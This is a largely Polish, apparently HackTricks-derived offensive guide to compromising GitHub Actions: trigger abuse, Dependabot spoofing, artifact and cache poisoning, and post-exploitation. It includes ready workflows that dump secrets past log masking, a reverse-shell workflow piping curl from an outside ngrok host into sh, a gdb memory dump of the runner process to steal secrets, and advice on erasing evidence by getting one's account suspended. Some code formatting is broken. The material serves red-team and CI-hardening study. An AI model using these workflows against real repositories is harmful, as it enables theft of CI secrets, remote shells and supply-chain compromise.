Podsumowanie wszystkich skutków jakie może mieć uzyskanie dostępu do Github Action przez atakującego
Różne sposoby na uzyskanie dostępu do action:
Posiadanie uprawnień do utworzenia action
Nadużywanie wyzwalaczy związanych z pull request
Nadużywanie innych technik zewnętrznego dostępu
Pivoting z już skompromitowanego repo
Na koniec sekcja o post-exploitation techniques to abuse an action from inside (powodujące wspomniane skutki)

Podsumowanie skutków

For an introduction about Github Actions check the basic information.

Jeśli możesz wykonywać dowolny kod w GitHub Actions w obrębie repozytorium, możesz być w stanie:

Wykradać sekrety zamontowane do pipeline i nadużywać uprawnień pipeline'u aby uzyskać nieautoryzowany dostęp do zewnętrznych platform, takich jak AWS i GCP.
Skompromitować deploymenty i inne artefakty.
Jeśli pipeline wdraża lub przechowuje zasoby, możesz zmienić końcowy produkt, umożliwiając supply chain attack.
Wykonywać kod w custom workers by nadużyć mocy obliczeniowej i pivotować do innych systemów.
Zastąpić kod repozytorium, w zależności od uprawnień powiązanych z GITHUB_TOKEN.

GITHUB_TOKEN

This "secret" (coming from ${{ secrets.GITHUB_TOKEN }} and ${{ github.token }}) is given when the admin enables this option:

Ten token jest tym samym, którego użyje Github Application, więc może uzyskać dostęp do tych samych endpointów: https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps

Warning

Github powinien udostępnić a flow który pozwala na dostęp między repozytoriami w ramach GitHub, tak że repo może uzyskać dostęp do innych wewnętrznych repo przy użyciu GITHUB_TOKEN.

Możesz zobaczyć możliwe uprawnienia tego tokena w: https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token

Zauważ, że token wygasa po zakończeniu joba.
Takie tokeny wyglądają tak: ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7

Kilka interesujących rzeczy, które możesz zrobić z tym tokenem:

# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header "content-type: application/json" \
-d "{\"commit_title\":\"commit_title\"}"

# Approve a PR
curl -X POST \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"event":"APPROVE"}'

# Create a PR
curl -X POST \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
https://api.github.com/repos/<org_name>/<repo_name>/pulls \
-d '{"head":"<branch_name>","base":"master", "title":"title"}'

Caution

Zauważ, że w niektórych przypadkach możesz znaleźć github user tokens inside Github Actions envs or in the secrets. Tokeny te mogą dać Ci większe uprawnienia do repozytorium i organizacji.

Wypisz sekrety w wyjściu Github Action

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - "**" push: # Run it when a push is made to a branch branches: - "**" jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

Uzyskaj reverse shell za pomocą secrets

```yaml name: revshell on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - "**" push: # Run it when a push is made to a branch branches: - "**" jobs: create_pull_request: runs-on: ubuntu-latest steps: - name: Get Rev Shell run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

Możliwe jest sprawdzenie uprawnień przyznanych Github Token w repozytoriach innych użytkowników sprawdzając logi akcji:

Dozwolone wykonanie

Note

To byłby najprostszy sposób na kompromitację Github actions, ponieważ w tym scenariuszu zakładamy, że masz dostęp do create a new repo in the organization, lub masz write privileges over a repository.

Jeśli znajdujesz się w takiej sytuacji, możesz po prostu sprawdzić Post Exploitation techniques.

Wykonanie poprzez utworzenie repo

W przypadku, gdy członkowie organizacji mogą create new repos i możesz uruchamiać Github actions, możesz create a new repo and steal the secrets set at organization level.

Wykonanie z nowej gałęzi

Jeśli możesz create a new branch in a repository that already contains a Github Action skonfigurowaną, możesz ją modify, upload zawartość, a następnie execute that action from the new branch. W ten sposób możesz exfiltrate repository and organization level secrets (ale musisz wiedzieć, jak się nazywają).

Warning

Każde ograniczenie zaimplementowane tylko w workflow YAML (for example, on: push: branches: [main], job conditionals, or manual gates) może zostać zmienione przez collaborators. Bez zewnętrznego egzekwowania (branch protections, protected environments, and protected tags), contributor może przekierować workflow, aby uruchomił się na jego gałęzi i nadużyć zamontowanych secrets/permissions.

Możesz sprawić, że zmodyfikowana akcja będzie wykonywalna ręcznie, gdy PR is created lub gdy some code is pushed (w zależności od tego, jak dużo hałasu chcesz zrobić):

on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name
# Use '**' instead of a branh name to trigger the action in all the cranches

Wykonywanie z forków

Note

Istnieją różne triggery, które mogą pozwolić atakującemu wykonać Github Action z innego repozytorium. Jeśli te triggerowalne akcje są źle skonfigurowane, atakujący może je przejąć.

`pull_request`

Wyzwalacz workflow pull_request uruchomi workflow za każdym razem, gdy otrzymany zostanie pull request, z pewnymi wyjątkami: domyślnie, jeśli to jest po raz pierwszy, gdy współpracujesz, jakiś maintainer będzie musiał zatwierdzić uruchomienie workflow:

Note

Ponieważ domyślne ograniczenie dotyczy pierwszorazowych contributorów, możesz wnieść wkład naprawiając prawidłowy bug/typo, a potem wysyłać kolejne PRy, aby nadużyć swoje nowe uprawnienia pull_request.

Przetestowałem to i nie działa: ~~Inną opcją byłoby stworzenie konta o nazwie kogoś, kto przyczynił się do projektu i usunął jego konto.~~

Co więcej, domyślnie zabrania się uprawnień zapisu i dostępu do secrets do docelowego repozytorium, jak wspomniano w docs:

With the exception of GITHUB_TOKEN, secrets are not passed to the runner when a workflow is triggered from a forked repository. The GITHUB_TOKEN has read-only permissions in pull requests from forked repositories.

Atakujący mógłby zmodyfikować definicję Github Action, aby wykonać dowolne polecenia i dodać arbitralne akcje. Jednak nie będzie w stanie ukraść secrets ani nadpisać repo z powodu wspomnianych ograniczeń.

Caution

Tak, jeśli atakujący zmieni w PR github action, który zostanie wyzwolony, to jego Github Action będzie tym użytym, a nie ten z repo źródłowego!

Ponieważ atakujący kontroluje także kod, który jest wykonywany, nawet jeśli GITHUB_TOKEN nie ma secrets ani uprawnień zapisu, atakujący mógłby np. upload malicious artifacts.

`pull_request_target`

Wyzwalacz workflow `pull_request_target`` ma uprawnienia zapisu do docelowego repozytorium i dostęp do secrets (i nie wymaga zatwierdzenia).

Zauważ, że wyzwalacz workflow pull_request_target uruchamia się w kontekście base, a nie w tym dostarczonym przez PR (aby nie wykonywać niezaufanego kodu). Po więcej informacji o pull_request_target check the docs.
Ponadto, dla dodatkowych informacji o tym konkretnie niebezpiecznym użyciu sprawdź ten github blog post.

Może się wydawać, że ponieważ wykonywany workflow jest tym zdefiniowanym w base, a nie w PR, to użycie pull_request_target jest bezpieczne, ale istnieje kilka przypadków, gdzie tak nie jest.

I ten będzie miał dostęp do secrets.

`workflow_run`

Wyzwalacz workflow_run pozwala uruchomić workflow z innego workflow, gdy ten jest completed, requested lub in_progress.

W tym przykładzie workflow jest skonfigurowany tak, aby uruchamiać się po zakończeniu oddzielnego workflow "Run Tests":

on:
workflow_run:
workflows: [Run Tests]
types:
- completed

Ponadto, zgodnie z dokumentacją: workflow uruchomiony przez zdarzenie workflow_run ma możliwość dostępu do sekretów i zapisu tokenów, nawet jeśli poprzedni workflow tego nie miał.

Tego typu workflow może być zaatakowany, jeśli zależy od workflow, które może zostać wywołane przez zewnętrznego użytkownika za pomocą pull_request lub pull_request_target. Kilka podatnych przykładów można znaleźć na tym blogu.

Pierwszy polega na tym, że workflow wywołany przez workflow_run pobiera kod atakującego: ${{ github.event.pull_request.head.sha }}
Drugi polega na przekazaniu artefaktu z niezaufanego kodu do workflow workflow_run i użyciu zawartości tego artefaktu w sposób, który czyni go podatnym na RCE.

`workflow_call`

TODO

TODO: Sprawdzić, czy gdy jest uruchamiane z pull_request, użyty/pobrany kod pochodzi z repozytorium bazowego czy z forkowanego PR

Nadużywanie wykonania z forków

Wspomnieliśmy już o wszystkich sposobach, na które zewnętrzny atakujący może doprowadzić do wykonania github workflow. Teraz przyjrzyjmy się, jak takie wykonania, jeśli są źle skonfigurowane, mogą zostać nadużyte:

Wykonanie z niezaufanym checkoutem

W przypadku pull_request, workflow zostanie wykonany w kontekście PR (czyli wykona złośliwy kod PR), ale ktoś musi go najpierw autoryzować i będzie uruchomiony z pewnymi ograniczeniami.

W przypadku workflow używającego pull_request_target or workflow_run, które zależy od workflow, które może być wywołane z pull_request_target or pull_request, kod z oryginalnego repo zostanie wykonany, więc atakujący nie może kontrolować wykonywanego kodu.

Caution

Jednak jeśli action ma jawny checkout PR, który pobra kod z PR (a nie z base), użyje kodu kontrolowanego przez atakującego. Na przykład (sprawdź linię 12, gdzie kod PR jest pobierany):

# INSECURE. Provided as an example only.
on:
pull_request_target

jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
    - uses: actions/checkout@v2
      with:
        ref: ${{ github.event.pull_request.head.sha }}

- uses: actions/setup-node@v1
- run: |
npm install
npm build

- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}

- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!

Potencjalnie niezaufany kod jest uruchamiany podczas npm install lub npm build, ponieważ skrypty build i odwoływane pakiety są kontrolowane przez autora PR.

Warning

Dork GitHub do wyszukiwania podatnych actions to: event.pull_request pull_request_target extension:yml, jednak istnieją różne sposoby skonfigurowania jobów tak, by były wykonywane bezpiecznie nawet jeśli action jest skonfigurowana niebezpiecznie (np. używanie conditionals dotyczących tego, kto jest aktorem tworzącym PR).

Wstrzyknięcia skryptów kontekstowych

Zauważ, że istnieją pewne github contexts, których wartości są kontrolowane przez użytkownika tworzącego PR. Jeśli github action używa tych danych do wykonania czegokolwiek, może to prowadzić do dowolnego wykonania kodu:

{{#ref}} gh-actions-context-script-injections.md {{#endref}}

GITHUB_ENV Wstrzyknięcie skryptu

Z dokumentacji: Możesz udostępnić zmienną środowiskową dla dowolnych kolejnych kroków w jobie workflow, definiując lub aktualizując zmienną środowiskową i zapisując ją do pliku środowiskowego GITHUB_ENV.

Jeśli atakujący mógłby wstrzyknąć dowolną wartość do tej zmiennej env, mógłby ustawić zmienne środowiskowe, które pozwolą wykonać kod w kolejnych krokach, np. LD_PRELOAD lub NODE_OPTIONS.

Dla przykładu (to i to), wyobraź sobie workflow, które ufa przesłanemu artefaktowi i zapisuje jego zawartość do zmiennej środowiskowej GITHUB_ENV. Atakujący mógłby przesłać coś takiego, aby je skompromitować:

Dependabot i inne zaufane boty

Jak wskazano w tym wpisie na blogu, niektóre organizacje mają Github Action, która scala każdy PR od dependabot[bot], jak w:

on: pull_request_target
jobs:
auto-merge:
runs-on: ubuntu-latest
if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: gh pr merge $ -d -m

Which is a problem because the github.actor field contains the user who caused the latest event that triggered the workflow. And There are several ways to make the dependabot[bot] user to modify a PR. For example:

Utwórz fork repozytorium ofiary
Dodaj złośliwy payload do swojej kopii
Włącz Dependabot w swoim forku, dodając outdated dependency. Dependabot utworzy branch naprawiający dependency ze złośliwym kodem.
Otwórz Pull Request do repozytorium ofiary z tego branchu (PR zostanie utworzony przez użytkownika, więc nic się jeszcze nie stanie)
Następnie atakujący wraca do początkowego PR, który Dependabot otworzył w jego forku, i uruchamia @dependabot recreate
Wtedy Dependabot wykonuje pewne akcje w tym branchu, które modyfikują PR w repozytorium ofiary, co sprawia, że dependabot[bot] staje się aktorem ostatniego zdarzenia uruchamiającego workflow (a zatem workflow zostaje uruchomiony).

Moving on, what if instead of merging the Github Action would have a command injection like in:

on: pull_request_target
jobs:
just-printing-stuff:
runs-on: ubuntu-latest
if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: echo ${ { github.event.pull_request.head.ref }}

Cóż, oryginalny wpis na blogu proponuje dwie opcje nadużycia tego zachowania, przy czym druga to:

Fork the victim repository and enable Dependabot with some outdated dependency.
Create a new branch with the malicious shell injeciton code.
Change the default branch of the repo to that one
Create a PR from this branch to the victim repository.
Run @dependabot merge in the PR Dependabot opened in his fork.
Dependabot will merge his changes in the default branch of your forked repository, updating the PR in the victim repository making now the dependabot[bot] the actor of the latest event that triggered the workflow and using a malicious branch name.

Vulnerable Third Party Github Actions

dawidd6/action-download-artifact

As mentioned in this blog post, this Github Action allows to access artifacts from different workflows and even repositories.

Problem polega na tym, że jeśli parametr path nie jest ustawiony, artefakt jest rozpakowywany w bieżącym katalogu i może nadpisać pliki, które później mogą być użyte lub nawet wykonane w workflow. W związku z tym, jeśli artefakt jest podatny, atakujący może to wykorzystać do kompromitacji innych workflow, które mu ufają.

Przykład podatnego workflow:

on:
workflow_run:
workflows: ["some workflow"]
types:
- completed

jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py

To można zaatakować za pomocą tego workflow:

name: "some workflow"
on: pull_request

jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py

Inny dostęp zewnętrzny

Deleted Namespace Repo Hijacking

Jeśli konto zmieni swoją nazwę, inny użytkownik może po pewnym czasie zarejestrować konto o tej samej nazwie. Jeśli repozytorium miało mniej niż 100 stars przed zmianą nazwy, Github pozwoli nowemu zarejestrowanemu użytkownikowi o tej samej nazwie utworzyć repository with the same name jak to usunięte.

Caution

Jeśli action używa repo z nieistniejącego konta, nadal możliwe jest, że atakujący utworzy takie konto i przejmie action.

Jeśli inne repo używały dependencies from this user repos, atakujący będzie w stanie je przejąć. Tutaj masz bardziej kompletne wyjaśnienie: https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/

Repo Pivoting

Note

In this section we will talk about techniques that would allow to pivot from one repo to another supposing we have some kind of access on the first one (check the previous section).

Cache Poisoning

Cache jest utrzymywany pomiędzy workflow runs in the same branch. Co oznacza, że jeśli atakujący compromise package, który zostanie zapisany w cache i downloaded oraz wykonany przez more privileged workflow, będzie w stanie również compromise ten workflow.

{{#ref}} gh-actions-cache-poisoning.md {{#endref}}

Artifact Poisoning

Workflows mogą korzystać z artifacts from other workflows and even repos. Jeśli atakujący zdoła compromise Github Action, która uploads an artifact, a artefakt zostanie potem użyty przez inny workflow, może on compromise the other workflows:

{{#ref}} gh-actions-artifact-poisoning.md {{#endref}}

Post Exploitation from an Action

Github Action Policies Bypass

As commented in this blog post, nawet jeśli repository lub organization ma politykę ograniczającą użycie niektórych actions, atakujący może po prostu pobrać (git clone) action wewnątrz workflow, a następnie odwołać się do niego jako do local action. Ponieważ polityki nie dotyczą lokalnych ścieżek, the action will be executed without any restriction.

Przykład:

on: [push, pull_request]

jobs:
test:
runs-on: ubuntu-latest
steps:
- run: |
mkdir -p ./tmp
git clone https://github.com/actions/checkout.git ./tmp/checkout

- uses: ./tmp/checkout
with:
repository: woodruffw/gha-hazmat
path: gha-hazmat

- run: ls && pwd

- run: ls tmp/checkout

Dostęp do AWS, Azure i GCP za pomocą OIDC

Sprawdź następujące strony:

{{#ref}} ../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md {{#endref}}

{{#ref}} ../../../pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md {{#endref}}

{{#ref}} ../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md {{#endref}}

Dostęp do secrets

Jeśli wstrzykujesz zawartość do skryptu, warto wiedzieć, jak uzyskać dostęp do secrets:

If the secret or token is set to an environment variable, it can be directly accessed through the environment using printenv.

Wyświetlenie secrets w output Github Action

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}

secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

</details>

<details>

<summary>Uzyskaj reverse shell przy użyciu secrets</summary>
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

Jeśli secret jest użyty directly in an expression, wygenerowany skrypt shell jest zapisany on-disk i jest dostępny.

cat /home/runner/work/_temp/*

- Dla JavaScript actions secrets są przesyłane przez zmienne środowiskowe
- ```bash
ps axe | grep node

Dla custom action, ryzyko może się różnić w zależności od tego, jak program używa secret, który uzyskał z argumentu:

uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}

Wypisz wszystkie secrets za pomocą secrets context (collaborator level). Współpracownik z uprawnieniami write może zmodyfikować workflow na dowolnej gałęzi, aby zrzucić wszystkie repository/org/environment secrets. Użyj podwójnego base64, aby ominąć maskowanie logów GitHub i zdekoduj lokalnie:

name: Steal secrets
on:
push:
branches: [ attacker-branch ]
jobs:
dump:
runs-on: ubuntu-latest
steps:
- name: Double-base64 the secrets context
run: |
echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0

Dekoduj lokalnie:

echo "ZXdv...Zz09" | base64 -d | base64 -d

Wskazówka: dla stealth podczas testów, zaszyfruj przed wydrukowaniem (openssl jest preinstalowany na GitHub-hosted runners).

Abusing Self-hosted runners

Sposób, aby znaleźć, które Github Actions are being executed in non-github infrastructure to wyszukanie runs-on: self-hosted w pliku konfiguracyjnym Github Action yaml.

Self-hosted runners mogą mieć dostęp do dodatkowo wrażliwych informacji, do innych network systems (podatne endpointy w sieci? metadata service?) lub, nawet jeśli są izolowane i niszczone, może być uruchomionych więcej niż jedno action w tym samym czasie i złośliwe może steal the secrets innego.

W self-hosted runnerach jest również możliwe uzyskanie the secrets from the _Runner.Listener_** process** which will contain all the secrets of the workflows at any step by dumping its memory:

sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"

Zobacz ten wpis, aby uzyskać więcej informacji.

Rejestr obrazów Docker w Github

Możliwe jest stworzenie Github actions, które zbudują i zapiszą obraz Docker wewnątrz Github.
Przykład można znaleźć w poniższym rozwijanym elemencie:

Github Action — Budowanie i wysyłanie obrazu Docker

```yaml [...]

name: Set up Docker Buildx uses: docker/setup-buildx-action@v1
name: Login to GitHub Container Registry uses: docker/login-action@v1 with: registry: ghcr.io username: ${{ github.repository_owner }} password: ${{ secrets.ACTIONS_TOKEN }}
name: Add Github Token to Dockerfile to be able to download code run: | sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
name: Build and push uses: docker/build-push-action@v2 with: context: . push: true tags: | ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}

[...]

</details>

Jak widać w poprzednim kodzie, rejestr Github jest hostowany w **`ghcr.io`**.

Użytkownik z uprawnieniami do odczytu repozytorium będzie mógł pobrać Docker Image używając tokena dostępu osobistego:
```bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>

Następnie użytkownik może wyszukać leaked secrets in the Docker image layers:

{{#ref}} https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html {{#endref}}

Wrażliwe informacje w Github Actions logs

Nawet jeśli Github próbuje wykryć secret values w logach akcji i zapobiec ich wyświetlaniu, inne wrażliwe dane, które mogły zostać wygenerowane podczas wykonania akcji, nie zostaną ukryte. Na przykład JWT podpisany wartością sekretu nie będzie ukryty, chyba że jest to specifically configured.

Zacieranie śladów

(Technique from here) Po pierwsze, każdy PR jest jasno widoczny publicznie na Github oraz dla docelowego konta GitHub. Domyślnie w GitHub nie można usunąć PR z internetu, ale jest pewien haczyk. Dla kont Github, które są suspended przez Github, wszystkie ich PRs są automatycznie usuwane i usuwane z internetu. Aby zatem ukryć swoją aktywność, musisz albo doprowadzić do zawieszenia konta GitHub lub oznaczenia konta. To ukryje wszystkie twoje aktywności na GitHub z internetu (z grubsza usuwa wszystkie twoje exploit PR)

Organizacja na GitHub jest bardzo aktywna w zgłaszaniu kont do GitHub. Wystarczy, że udostępnisz „some stuff” w Issue, a oni dopilnują, że twoje konto zostanie zawieszone w ciągu 12 godzin :p i oto masz — uczyniłeś swoje exploit PR niewidocznym na GitHub.

Warning

Jedyny sposób, by organizacja odkryła, że była celem, to sprawdzić GitHub logs z SIEM, ponieważ z poziomu GitHub UI PR zostanie usunięty.

References

GitHub Actions: A Cloudy Day for Security - Part 1